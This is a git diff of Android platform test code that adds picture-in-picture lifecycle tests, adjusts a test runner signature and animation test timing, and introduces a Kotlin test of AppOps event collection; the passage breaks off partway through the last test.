--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
@@ -345,6 +345,9 @@
"android.server.wm.app.PipActivity.set_requested_orientation";
// Intent action that will finish this activity
public static final String ACTION_FINISH = "android.server.wm.app.PipActivity.finish";
+ // Intent action that will request that the activity enters picture-in-picture.
+ public static final String ACTION_ON_PIP_REQUESTED =
+ "android.server.wm.app.PipActivity.on_pip_requested";
// Adds an assertion that we do not ever get onStop() before we enter picture in picture
public static final String EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP =
@@ -359,6 +362,12 @@
"enter_pip_aspect_ratio_denominator";
// Calls requestAutoEnterPictureInPicture() with the value provided
public static final String EXTRA_ENTER_PIP_ON_PAUSE = "enter_pip_on_pause";
+ // Calls requestAutoEnterPictureInPicture() with the value provided
+ public static final String EXTRA_ENTER_PIP_ON_USER_LEAVE_HINT =
+ "enter_pip_on_user_leave_hint";
+ // Calls requestAutoEnterPictureInPicture() with the value provided
+ public static final String EXTRA_ENTER_PIP_ON_PIP_REQUESTED =
+ "enter_pip_on_pip_requested";
// Finishes the activity at the end of onResume (after EXTRA_START_ACTIVITY is handled)
public static final String EXTRA_FINISH_SELF_ON_RESUME = "finish_self_on_resume";
// Sets the fixed orientation (can be one of {@link ActivityInfo.ScreenOrientation}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java
index 5f9dcc1..b2b76e7 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java
@@ -23,6 +23,7 @@
import static android.server.wm.app.Components.PipActivity.ACTION_EXPAND_PIP;
import static android.server.wm.app.Components.PipActivity.ACTION_FINISH;
import static android.server.wm.app.Components.PipActivity.ACTION_MOVE_TO_BACK;
+import static android.server.wm.app.Components.PipActivity.ACTION_ON_PIP_REQUESTED;
import static android.server.wm.app.Components.PipActivity.ACTION_SET_REQUESTED_ORIENTATION;
import static android.server.wm.app.Components.PipActivity.EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP;
import static android.server.wm.app.Components.PipActivity.EXTRA_DISMISS_KEYGUARD;
@@ -30,6 +31,8 @@
import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR;
import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR;
import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_PAUSE;
+import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_PIP_REQUESTED;
+import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_USER_LEAVE_HINT;
import static android.server.wm.app.Components.PipActivity.EXTRA_FINISH_SELF_ON_RESUME;
import static android.server.wm.app.Components.PipActivity.EXTRA_ON_PAUSE_DELAY;
import static android.server.wm.app.Components.PipActivity.EXTRA_PIP_ORIENTATION;
@@ -55,6 +58,7 @@
import android.os.Bundle;
import android.os.Handler;
import android.os.SystemClock;
+import android.server.wm.CommandSession;
import android.util.Log;
import android.util.Rational;
@@ -101,6 +105,9 @@
case ACTION_FINISH:
finish();
break;
+ case ACTION_ON_PIP_REQUESTED:
+ onPictureInPictureRequested();
+ break;
}
}
}
@@ -185,6 +192,7 @@
filter.addAction(ACTION_EXPAND_PIP);
filter.addAction(ACTION_SET_REQUESTED_ORIENTATION);
filter.addAction(ACTION_FINISH);
+ filter.addAction(ACTION_ON_PIP_REQUESTED);
registerReceiver(mReceiver, filter);
// Don't dump configuration when entering PIP to avoid the verifier getting the intermediate
@@ -240,6 +248,24 @@
}
@Override
+ protected void onUserLeaveHint() {
+ super.onUserLeaveHint();
+ if (getIntent().hasExtra(EXTRA_ENTER_PIP_ON_USER_LEAVE_HINT)) {
+ enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+ }
+ }
+
+ @Override
+ public void onPictureInPictureRequested() {
+ onCallback(CommandSession.ActivityCallback.ON_PICTURE_IN_PICTURE_REQUESTED);
+ if (getIntent().hasExtra(EXTRA_ENTER_PIP_ON_PIP_REQUESTED)) {
+ enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+ return;
+ }
+ super.onPictureInPictureRequested();
+ }
+
+ @Override
public void onPictureInPictureModeChanged(boolean isInPictureInPictureMode,
Configuration newConfig) {
super.onPictureInPictureModeChanged(isInPictureInPictureMode, newConfig);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
index 3e8c8d3..3c3557c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
@@ -42,11 +42,14 @@
import static android.server.wm.app.Components.PipActivity.ACTION_EXPAND_PIP;
import static android.server.wm.app.Components.PipActivity.ACTION_FINISH;
import static android.server.wm.app.Components.PipActivity.ACTION_MOVE_TO_BACK;
+import static android.server.wm.app.Components.PipActivity.ACTION_ON_PIP_REQUESTED;
import static android.server.wm.app.Components.PipActivity.EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP;
import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP;
import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR;
import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR;
import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_PAUSE;
+import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_PIP_REQUESTED;
+import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_USER_LEAVE_HINT;
import static android.server.wm.app.Components.PipActivity.EXTRA_FINISH_SELF_ON_RESUME;
import static android.server.wm.app.Components.PipActivity.EXTRA_ON_PAUSE_DELAY;
import static android.server.wm.app.Components.PipActivity.EXTRA_PIP_ORIENTATION;
@@ -468,6 +471,75 @@
}
@Test
+ public void testAutoEnterPictureInPictureOnUserLeaveHintWhenPipRequestedNotOverridden()
+ throws Exception {
+ // Launch a test activity so that we're not over home
+ launchActivity(TEST_ACTIVITY);
+
+ // Launch the PIP activity that enters PIP on user leave hint, not on PIP requested
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP_ON_USER_LEAVE_HINT, "true");
+ assertPinnedStackDoesNotExist();
+
+ // Go home and ensure that there is a pinned stack
+ separateTestJournal();
+ launchHomeActivity();
+ waitForEnterPip(PIP_ACTIVITY);
+ assertPinnedStackExists();
+
+ final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(PIP_ACTIVITY);
+ // Check that onPictureInPictureRequested was called to try to enter pip from there
+ assertEquals("onPictureInPictureRequested", 1,
+ lifecycleCounts.getCount(ActivityCallback.ON_PICTURE_IN_PICTURE_REQUESTED));
+ // Check that onPause + onUserLeaveHint were called only once. These assertions verify that
+ // onPictureInPictureRequested doesn't attempt to trigger these callbacks because going
+ // home is already causing them to be called
+ assertEquals("onPause", 1, lifecycleCounts.getCount(ActivityCallback.ON_PAUSE));
+ assertEquals("onUserLeaveHint", 1,
+ lifecycleCounts.getCount(ActivityCallback.ON_USER_LEAVE_HINT));
+
+ final int lastUserLeaveHintIndex =
+ lifecycleCounts.getLastIndex(ActivityCallback.ON_USER_LEAVE_HINT);
+ final int lastPipRequestedIndex =
+ lifecycleCounts.getLastIndex(ActivityCallback.ON_PICTURE_IN_PICTURE_REQUESTED);
+ // Check that onPictureInPictureRequested was called first and onUserLeaveHint after
+ assertThat(lastPipRequestedIndex, lessThan(lastUserLeaveHintIndex));
+ }
+
+ @Test
+ public void testAutoEnterPictureInPictureOnPictureInPictureRequested() throws Exception {
+ // Launch a test activity so that we're not over home
+ launchActivity(TEST_ACTIVITY);
+
+ // Launch the PIP activity on pip requested
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP_ON_PIP_REQUESTED, "true");
+ assertPinnedStackDoesNotExist();
+
+ // Call onPictureInPictureRequested and verify activity enters pip
+ separateTestJournal();
+ mBroadcastActionTrigger.doAction(ACTION_ON_PIP_REQUESTED);
+ waitForEnterPip(PIP_ACTIVITY);
+ assertPinnedStackExists();
+
+ final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(PIP_ACTIVITY);
+ // Check that onPictureInPictureRequested was called
+ assertEquals("onPictureInPictureRequested", 1,
+ lifecycleCounts.getCount(ActivityCallback.ON_PICTURE_IN_PICTURE_REQUESTED));
+ // Verify that cycling through userLeaveHint was not necessary since the activity overrode
+ // onPictureInPictureRequested and entered PIP mode from there
+ assertEquals("onUserLeaveHint", 0,
+ lifecycleCounts.getCount(ActivityCallback.ON_USER_LEAVE_HINT));
+ // Verify onPause does get called when the activity eventually enters PIP mode
+ assertEquals("onPause", 1, lifecycleCounts.getCount(ActivityCallback.ON_PAUSE));
+
+ final int lastOnPauseIndex =
+ lifecycleCounts.getLastIndex(ActivityCallback.ON_PAUSE);
+ final int lastPipRequestedIndex =
+ lifecycleCounts.getLastIndex(ActivityCallback.ON_PICTURE_IN_PICTURE_REQUESTED);
+ // Check that onPictureInPictureRequested was called first and onPause after
+ assertThat(lastPipRequestedIndex, lessThan(lastOnPauseIndex));
+ }
+
+ @Test
public void testAutoEnterPictureInPictureLaunchActivity() throws Exception {
// Launch a test activity so that we're not over home
launchActivity(TEST_ACTIVITY);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowManager_LayoutParamsTest.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowManager_LayoutParamsTest.java
index 442899f..33fe379 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowManager_LayoutParamsTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowManager_LayoutParamsTest.java
@@ -91,7 +91,7 @@
new WindowManager.LayoutParams(parcel);
assertTrue(WindowManager.LayoutParams.mayUseInputMethod(0));
- assertFalse(WindowManager.LayoutParams.mayUseInputMethod(
+ assertTrue(WindowManager.LayoutParams.mayUseInputMethod(
WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
| WindowManager.LayoutParams.FLAG_ALT_FOCUSABLE_IM));
assertFalse(WindowManager.LayoutParams
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java b/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java
index 0493da7..2079aef 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java
@@ -880,7 +880,7 @@
onCallback(ActivityCallback.ON_MOVED_TO_DISPLAY);
}
- private void onCallback(ActivityCallback callback) {
+ public void onCallback(ActivityCallback callback) {
if (mPrintCallbackLog) {
Log.i(getTag(), callback + " @ "
+ Integer.toHexString(System.identityHashCode(this)));
@@ -928,7 +928,8 @@
ON_CONFIGURATION_CHANGED,
ON_MULTI_WINDOW_MODE_CHANGED,
ON_PICTURE_IN_PICTURE_MODE_CHANGED,
- ON_MOVED_TO_DISPLAY;
+ ON_MOVED_TO_DISPLAY,
+ ON_PICTURE_IN_PICTURE_REQUESTED;
private static final ActivityCallback[] sValues = ActivityCallback.values();
public static final int SIZE = sValues.length;
diff --git a/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/LibcoreTest.java b/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/LibcoreTest.java
index 980315a..12131e5 100644
--- a/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/LibcoreTest.java
+++ b/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/LibcoreTest.java
@@ -20,6 +20,7 @@
import com.android.tradefed.config.Option;
import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.invoker.TestInformation;
import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.result.ITestInvocationListener;
import com.android.tradefed.testtype.AndroidJUnitTest;
@@ -55,7 +56,7 @@
* {@inheritDoc}
*/
@Override
- public void run(ITestInvocationListener listener) throws DeviceNotAvailableException {
+ public void run(TestInformation testInfo, ITestInvocationListener listener) throws DeviceNotAvailableException {
List<String> coreExpectations = getCoreExpectations();
if (!coreExpectations.isEmpty()) {
addInstrumentationArg(INSTRUMENTATION_ARG_NAME, ArrayUtil.join(",", coreExpectations));
@@ -70,7 +71,7 @@
"Setting --class and --method to null to avoid conflict with --test-package "
+ "option.");
}
- super.run(listener);
+ super.run(testInfo, listener);
}
private List<String> getCoreExpectations() throws DeviceNotAvailableException {
diff --git a/tests/tests/animation/src/android/animation/cts/LayoutAnimationTest.java b/tests/tests/animation/src/android/animation/cts/LayoutAnimationTest.java
index ba1cc47..a291d11 100644
--- a/tests/tests/animation/src/android/animation/cts/LayoutAnimationTest.java
+++ b/tests/tests/animation/src/android/animation/cts/LayoutAnimationTest.java
@@ -26,6 +26,7 @@
import android.animation.ObjectAnimator;
import android.animation.PropertyValuesHolder;
import android.animation.TimeInterpolator;
+import android.animation.ValueAnimator;
import android.os.SystemClock;
import android.view.View;
import android.view.ViewGroup;
@@ -38,6 +39,7 @@
import androidx.test.rule.ActivityTestRule;
import androidx.test.runner.AndroidJUnit4;
+import org.junit.After;
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
@@ -46,6 +48,8 @@
import java.util.Iterator;
import java.util.LinkedList;
import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
@MediumTest
@RunWith(AndroidJUnit4.class)
@@ -54,6 +58,7 @@
private LayoutTransition mLayoutTransition;
private LinearLayout mView;
private Button mButton;
+ private float mOldAnimationScale = 1f;
@Rule
public ActivityTestRule<LayoutAnimationActivity> mActivityRule =
@@ -61,6 +66,8 @@
@Before
public void setup() {
+ mOldAnimationScale = ValueAnimator.getDurationScale();
+ ValueAnimator.setDurationScale(1f);
InstrumentationRegistry.getInstrumentation().setInTouchMode(true);
mActivity = mActivityRule.getActivity();
mView = (LinearLayout) mActivity.findViewById(R.id.container);
@@ -68,6 +75,11 @@
mLayoutTransition = new LayoutTransition();
}
+ @After
+ public void teardown() {
+ ValueAnimator.setDurationScale(mOldAnimationScale);
+ }
+
@Test
public void testAddTransitionListener() throws Throwable {
MyTransitionListener listener = new MyTransitionListener();
@@ -90,7 +102,7 @@
@Test
public void testIsChangingLayout() throws Throwable {
- long duration = 2000l;
+ long duration = 5000L;
mView.setLayoutTransition(mLayoutTransition);
mLayoutTransition.setDuration(duration);
mLayoutTransition.setInterpolator(LayoutTransition.CHANGE_APPEARING,
@@ -194,7 +206,7 @@
}
private void setDefaultTransition() {
- long duration = 1000;
+ long duration = 5000;
mView.setLayoutTransition(mLayoutTransition);
mLayoutTransition.setDuration(duration);
mLayoutTransition.setInterpolator(LayoutTransition.APPEARING,
@@ -202,8 +214,32 @@
}
private void clickButton() throws Throwable {
+ CountDownLatch startLatch = new CountDownLatch(1);
+ TransitionListener listener = new TransitionListener() {
+
+ @Override
+ public void startTransition(
+ LayoutTransition layoutTransition,
+ ViewGroup viewGroup,
+ View view,
+ int i
+ ) {
+ startLatch.countDown();
+ }
+
+ @Override
+ public void endTransition(
+ LayoutTransition layoutTransition,
+ ViewGroup viewGroup,
+ View view,
+ int i
+ ) {
+ }
+ };
+ mLayoutTransition.addTransitionListener(listener);
mActivityRule.runOnUiThread(mButton::callOnClick);
InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+ assertTrue(startLatch.await(5, TimeUnit.SECONDS));
}
class MyTransitionListener implements LayoutTransition.TransitionListener {
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt
new file mode 100644
index 0000000..52acd6d
--- /dev/null
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt
@@ -0,0 +1,424 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appops.cts
+
+import android.app.AppOpsManager
+import android.app.AppOpsManager.OPSTR_WIFI_SCAN
+import android.app.AppOpsManager.OP_FLAGS_ALL
+import android.app.AppOpsManager.OP_FLAG_SELF
+import android.app.AppOpsManager.OP_FLAG_TRUSTED_PROXIED
+import android.app.AppOpsManager.OP_FLAG_TRUSTED_PROXY
+import android.app.AppOpsManager.OP_FLAG_UNTRUSTED_PROXIED
+import android.app.AppOpsManager.OpEntry
+import android.app.Instrumentation
+import android.content.Intent
+import android.content.Intent.ACTION_APPLICATION_PREFERENCES
+import androidx.test.platform.app.InstrumentationRegistry
+import androidx.test.rule.ActivityTestRule
+import androidx.test.uiautomator.UiDevice
+import com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity
+import com.google.common.truth.Truth.assertThat
+import org.junit.Before
+import org.junit.Rule
+import org.junit.Test
+import java.lang.Thread.sleep
+
+class AppOpEventCollectionTest {
+ private val instrumentation = InstrumentationRegistry.getInstrumentation()
+ private val context = instrumentation.targetContext
+ private val appOpsManager = context.getSystemService(AppOpsManager::class.java)
+
+ private val myUid = android.os.Process.myUid()
+ private val myPackage = context.packageName
+
+ // Start an activity to make sure this app counts as being in the foreground
+ @Rule
+ @JvmField
+ var activityRule = ActivityTestRule(UidStateForceActivity::class.java)
+
+ @Before
+ fun wakeScreenUp() {
+ val uiDevice = UiDevice.getInstance(instrumentation)
+ uiDevice.wakeUp()
+ uiDevice.executeShellCommand("wm dismiss-keyguard")
+ }
+
+ @Before
+ fun makeSureTimeStampsAreDistinct() {
+ sleep(1)
+ }
+
+ private fun getOpEntry(uid: Int, packageName: String, op: String): OpEntry {
+ return callWithShellPermissionIdentity {
+ appOpsManager.getOpsForPackage(uid, packageName, op)
+ }[0].ops[0]!!
+ }
+
+ @Test
+ fun noteWithFeatureAndCheckOpEntries() {
+ val before = System.currentTimeMillis()
+ appOpsManager.noteOp(OPSTR_WIFI_SCAN, myUid, myPackage, "testFeature", null)
+ val after = System.currentTimeMillis()
+
+ val opEntry = getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)
+ val featureOpEntry = opEntry.features["testFeature"]!!
+
+ assertThat(featureOpEntry.getLastAccessForegroundTime(OP_FLAG_SELF)).isIn(before..after)
+
+ // Access should should also show up in the combined state for all op-flags
+ assertThat(featureOpEntry.getLastAccessForegroundTime(OP_FLAGS_ALL)).isIn(before..after)
+ assertThat(opEntry.getLastAccessTime(OP_FLAGS_ALL)).isIn(before..after)
+
+ // Foreground access should should also show up in the combined state for fg and bg
+ assertThat(featureOpEntry.getLastAccessTime(OP_FLAG_SELF)).isIn(before..after)
+ assertThat(opEntry.getLastAccessTime(OP_FLAG_SELF)).isIn(before..after)
+
+ // The access was in foreground, hence there is no background access
+ assertThat(featureOpEntry.getLastBackgroundDuration(OP_FLAG_SELF)).isLessThan(before)
+ assertThat(opEntry.getLastBackgroundDuration(OP_FLAG_SELF)).isLessThan(before)
+
+ // The access was for a feature, hence there is no access for the default feature
+ if (null in opEntry.features) {
+ assertThat(opEntry.features[null]!!.getLastAccessForegroundTime(OP_FLAG_SELF))
+ .isLessThan(before)
+ }
+
+ // The access does not show up for other op-flags
+ assertThat(featureOpEntry.getLastAccessForegroundTime(
+ OP_FLAGS_ALL and OP_FLAG_SELF.inv())).isLessThan(before)
+ assertThat(opEntry.getLastAccessForegroundTime(
+ OP_FLAGS_ALL and OP_FLAG_SELF.inv())).isLessThan(before)
+ }
+
+ @Test
+ fun noteSelfAndTrustedAccessAndCheckOpEntries() {
+ val before = System.currentTimeMillis()
+
+ // Using the shell identity causes a trusted proxy note
+ runWithShellPermissionIdentity {
+ appOpsManager.noteOp(OPSTR_WIFI_SCAN, myUid, myPackage, null, null)
+ }
+ val afterTrusted = System.currentTimeMillis()
+
+ // Make sure timestamps are distinct
+ sleep(1)
+
+ // self note
+ appOpsManager.noteOp(OPSTR_WIFI_SCAN, myUid, myPackage, null, null)
+ val after = System.currentTimeMillis()
+
+ val opEntry = getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)
+ val featureOpEntry = opEntry.features[null]!!
+
+ assertThat(featureOpEntry.getLastAccessTime(OP_FLAG_TRUSTED_PROXY))
+ .isIn(before..afterTrusted)
+ assertThat(featureOpEntry.getLastAccessTime(OP_FLAG_SELF)).isIn(afterTrusted..after)
+ assertThat(opEntry.getLastAccessTime(OP_FLAG_TRUSTED_PROXY)).isIn(before..afterTrusted)
+ assertThat(opEntry.getLastAccessTime(OP_FLAG_SELF)).isIn(afterTrusted..after)
+
+ // When asked for any flags, the second access overrides the first
+ assertThat(featureOpEntry.getLastAccessTime(OP_FLAGS_ALL)).isIn(afterTrusted..after)
+ assertThat(opEntry.getLastAccessTime(OP_FLAGS_ALL)).isIn(afterTrusted..after)
+ }
+
+ @Test
+ fun noteForTwoFeaturesCheckOpEntries() {
+ val before = System.currentTimeMillis()
+ appOpsManager.noteOp(OPSTR_WIFI_SCAN, myUid, myPackage, "firstFeature", null)
+ val afterFirst = System.currentTimeMillis()
+
+ // Make sure timestamps are distinct
+ sleep(1)
+
+ // self note
+ appOpsManager.noteOp(OPSTR_WIFI_SCAN, myUid, myPackage, "secondFeature", null)
+ val after = System.currentTimeMillis()
+
+ val opEntry = getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)
+ val firstFeatureOpEntry = opEntry.features["firstFeature"]!!
+ val secondFeatureOpEntry = opEntry.features["secondFeature"]!!
+
+ assertThat(firstFeatureOpEntry.getLastAccessTime(OP_FLAG_SELF)).isIn(before..afterFirst)
+ assertThat(secondFeatureOpEntry.getLastAccessTime(OP_FLAG_SELF)).isIn(afterFirst..after)
+
+ // When asked for any feature, the second access overrides the first
+ assertThat(opEntry.getLastAccessTime(OP_FLAG_SELF)).isIn(afterFirst..after)
+ }
+
+ @Test
+ fun noteFromTwoProxiesAndVerifyProxyInfo() {
+ // Find another app to blame
+ val otherAppInfo = context.packageManager
+ .resolveActivity(Intent(ACTION_APPLICATION_PREFERENCES), 0)!!
+ .activityInfo.applicationInfo
+ val otherPkg = otherAppInfo.packageName
+ val otherUid = otherAppInfo.uid
+
+ // Using the shell identity causes a trusted proxy note
+ runWithShellPermissionIdentity {
+ context.createFeatureContext("firstProxyFeature")
+ .getSystemService(AppOpsManager::class.java)
+ .noteProxyOp(OPSTR_WIFI_SCAN, otherPkg, otherUid, null, null)
+ }
+
+ // Make sure timestamps are distinct
+ sleep(1)
+
+ // untrusted proxy note
+ context.createFeatureContext("secondProxyFeature")
+ .getSystemService(AppOpsManager::class.java)
+ .noteProxyOp(OPSTR_WIFI_SCAN, otherPkg, otherUid, null, null)
+
+ val opEntry = getOpEntry(otherUid, otherPkg, OPSTR_WIFI_SCAN)
+ val featureOpEntry = opEntry.features[null]!!
+
+ assertThat(featureOpEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.packageName)
+ .isEqualTo(myPackage)
+ assertThat(opEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.packageName)
+ .isEqualTo(myPackage)
+ assertThat(featureOpEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.uid).isEqualTo(myUid)
+ assertThat(opEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.uid).isEqualTo(myUid)
+
+ assertThat(featureOpEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.packageName)
+ .isEqualTo(myPackage)
+ assertThat(opEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.packageName)
+ .isEqualTo(myPackage)
+ assertThat(featureOpEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.uid).isEqualTo(myUid)
+ assertThat(opEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.uid).isEqualTo(myUid)
+
+ assertThat(featureOpEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.featureId)
+ .isEqualTo("firstProxyFeature")
+ assertThat(featureOpEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.featureId)
+ .isEqualTo("secondProxyFeature")
+
+ // If asked for all op-flags the second feature overrides the first
+ assertThat(featureOpEntry.getLastProxyInfo(OP_FLAGS_ALL)?.featureId)
+ .isEqualTo("secondProxyFeature")
+ }
+
+ @Test
+ fun startStopMultipleOpsAndVerifyIsRunning() {
+ appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, null, null)
+
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)) {
+ assertThat(features[null]!!.isRunning).isTrue()
+ features["testFeature"]?.let { assertThat(it.isRunning).isFalse() }
+ assertThat(isRunning).isTrue()
+ }
+
+ appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, "testFeature", null)
+
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)) {
+ assertThat(features[null]!!.isRunning).isTrue()
+ assertThat(features["testFeature"]!!.isRunning).isTrue()
+ assertThat(isRunning).isTrue()
+ }
+
+ appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, "testFeature", null)
+
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)) {
+ assertThat(features[null]!!.isRunning).isTrue()
+ assertThat(features["testFeature"]!!.isRunning).isTrue()
+ assertThat(isRunning).isTrue()
+ }
+
+ appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, "testFeature")
+
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)) {
+ assertThat(features[null]!!.isRunning).isTrue()
+ assertThat(features["testFeature"]!!.isRunning).isTrue()
+ assertThat(isRunning).isTrue()
+ }
+
+ appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, "testFeature")
+
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)) {
+ assertThat(features[null]!!.isRunning).isTrue()
+ assertThat(features["testFeature"]!!.isRunning).isFalse()
+ assertThat(isRunning).isTrue()
+ }
+
+ appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, null)
+
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)) {
+ assertThat(features[null]!!.isRunning).isFalse()
+ assertThat(features["testFeature"]!!.isRunning).isFalse()
+ assertThat(isRunning).isFalse()
+ }
+ }
+
+ @Test
+ fun startStopMultipleOpsAndVerifyLastAccess() {
+ val beforeNullFeatureStart = System.currentTimeMillis();
+ appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, null, null)
+ val afterNullFeatureStart = System.currentTimeMillis();
+
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)) {
+ assertThat(features[null]!!.getLastAccessTime(OP_FLAGS_ALL))
+ .isIn(beforeNullFeatureStart..afterNullFeatureStart)
+ features["testFeature"]?.let {
+ assertThat(it.getLastAccessTime(OP_FLAGS_ALL)).isAtMost(beforeNullFeatureStart)
+ }
+ assertThat(getLastAccessTime(OP_FLAGS_ALL))
+ .isIn(beforeNullFeatureStart..afterNullFeatureStart)
+ }
+
+ val beforeFirstFeatureStart = System.currentTimeMillis();
+ appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, "testFeature", null)
+ val afterFirstFeatureStart = System.currentTimeMillis();
+
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)) {
+ assertThat(features[null]!!.getLastAccessTime(OP_FLAGS_ALL))
+ .isIn(beforeNullFeatureStart..afterNullFeatureStart)
+ assertThat(features["testFeature"]!!.getLastAccessTime(OP_FLAGS_ALL))
+ .isIn(beforeFirstFeatureStart..afterFirstFeatureStart)
+ assertThat(getLastAccessTime(OP_FLAGS_ALL))
+ .isIn(beforeFirstFeatureStart..afterFirstFeatureStart)
+ }
+
+ appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, "testFeature", null)
+
+ // Nested startOps do _not_ count as another access
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)) {
+ assertThat(features[null]!!.getLastAccessTime(OP_FLAGS_ALL))
+ .isIn(beforeNullFeatureStart..afterNullFeatureStart)
+ assertThat(features["testFeature"]!!.getLastAccessTime(OP_FLAGS_ALL))
+ .isIn(beforeFirstFeatureStart..afterFirstFeatureStart)
+ assertThat(getLastAccessTime(OP_FLAGS_ALL))
+ .isIn(beforeFirstFeatureStart..afterFirstFeatureStart)
+ }
+
+ appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, "testFeature")
+ appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, "testFeature")
+ appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, null)
+ }
+
+ @Test
+ fun startStopMultipleOpsAndVerifyDuration() {
+ val beforeNullFeatureStart = System.currentTimeMillis();
+ appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, null, null)
+ val afterNullFeatureStart = System.currentTimeMillis();
+
+ run {
+ val beforeGetOp = System.currentTimeMillis();
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)) {
